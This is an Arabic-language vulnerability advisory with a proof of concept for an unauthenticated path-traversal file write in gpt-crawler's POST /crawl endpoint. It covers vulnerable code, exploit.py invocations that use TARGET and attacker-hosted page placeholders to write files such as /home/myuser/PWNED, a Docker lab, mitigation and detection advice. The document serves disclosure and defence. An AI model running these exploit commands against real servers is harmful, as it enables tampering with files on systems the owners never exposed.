
CVE-2026-82286 — gpt-crawler <=1.5.1 كتابة ملفات تعسفية غير مصادق عليها عبر outputFileName (POST /crawl). PoC + مختبر Docker مكتفٍ ذاتيًا. CVSS 8.6، CWE-22.
إثبات مفهوم لـ كتابة ملفات تعسفية بدون مصادقة في
BuilderIO/gpt-crawler (≈22k ★) عبر
معامل outputFileName في نقطة النهاية POST /crawl.
| CVE | CVE-2026-82286 |
| المنتج | gpt-crawler (BuilderIO) |
| المتأثر | <= 1.5.1 (أحدث إصدار؛ رأس الفرع الافتراضي متأثر أيضًا) |
| التصنيف | اجتياز المسار / كتابة ملفات تعسفية (CWE-22, CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (عالٍ) |
| المصادقة | لا شيء (بدون مصادقة) |
| الشرط المسبق | تشغيل وضع خادم API (npm run start:server) |
| الحالة | مؤكدة من البداية إلى النهاية (غير مصححة حتى 2026-08-29) |
يعرض خادم API (src/server.ts) نقطة POST /crawl بدون أي مصادقة. يتم تحليل نص JSON
مباشرة إلى Config الخاص بالزاحف؛ يتم التحقق من outputFileName فقط كـ
z.string() — لا يوجد أي قيد على المسار:
// src/config.ts
outputFileName: z.string(),
في src/core.ts، تقوم write() ببناء مسار الإخراج مباشرة من تلك السلسلة
التي يتحكم فيها المهاجم وتستدعي fs.writeFile() عليها:
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
لذلك، يمكن لمهاجم عن بُعد بدون مصادقة التحكم في المسار الكامل لملف مكتوب
خارج منطقة الإخراج المقصودة storage/ — عبر مسار مطلق (/tmp/x,
/home/<user>/x) أو اجتياز ../. محتوى الملف هو نتيجة الزحف
[{title,url,html}]، التي تأتي حقولها من صفحة يوجهها المهاجم إلى الزاحف
(اضبط url على خادم تتحكم فيه)، لذا فإن المحتوى متأثر بالمهاجم.
القيد الوحيد هو اللاحقة الإجبارية -<N>.json (ينتهي الاسم دائمًا بـ .json) و
غلاف محتوى مصفوفة JSON — ولهذا تم تصنيفها ككتابة ملفات تعسفية (I:H)،
وليس RCE نظيفة.
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # صفحة يصل محتواها إلى الملف المكتوب
-o /home/myuser/PWNED # -> يكتب /home/myuser/PWNED-1.json
تعكس نقطة النهاية محتوى الملف المكتوب في استجابة HTTP. الدليل التجريبي هو
ظهور الملف في المسار الذي يختاره المهاجم على نظام الملفات الهدف (انظر EVIDENCE.txt).
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- مكتوب خارج storage/، بدون مصادقة
التنظيف: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.
يمكن لمهاجم شبكة بدون مصادقة إنشاء أو الكتابة فوق ملفات في مسارات تعسفية
(وفقًا لصلاحيات مستخدم العملية واللاحقة -<N>.json) بمحتوى متأثر جزئيًا
بالمهاجم. اعتمادًا على النشر، يتيح ذلك العبث بملفات
الإعداد/البيانات، وإتلاف حالة التطبيق (السلامة/التوفر)، وعلى
الأهداف التي تستهلك لاحقًا ملف *.json مكتوبًا، يمكن ربط ذلك بمزيد من الهجمات.
يمكن الوصول إلى نقطة الضعف فقط في وضع خادم API (src/server.ts، الذي يُبدأ عبر
npm run start:server / نشر containerapp)، وليس وضع CLI الافتراضي. يرتبط
الخادم بـ API_HOST (الافتراضي localhost)؛ النشرات الحقيقية التي تعرض API تضبطه على
0.0.0.0 (كما تفعل صورة containerapp)، مما يجعل نقطة النهاية قابلة للوصول عن بُعد.
outputFileName مقابل دليل أساسي ثابت وارفض النتيجة إذا
هربت منه (path.resolve(base, name) + فحص البادئة)؛ أزل .. والمسارات المطلقة.POST /crawl.ابحث عن نصوص POST /crawl التي يحتوي outputFileName فيها على / أو \ أو ..، وعن
ملفات *-1.json التي تظهر خارج دليل storage/ الخاص بالزاحف.
البحث وإثبات المفهوم: Caio Fabrício (BiiTts).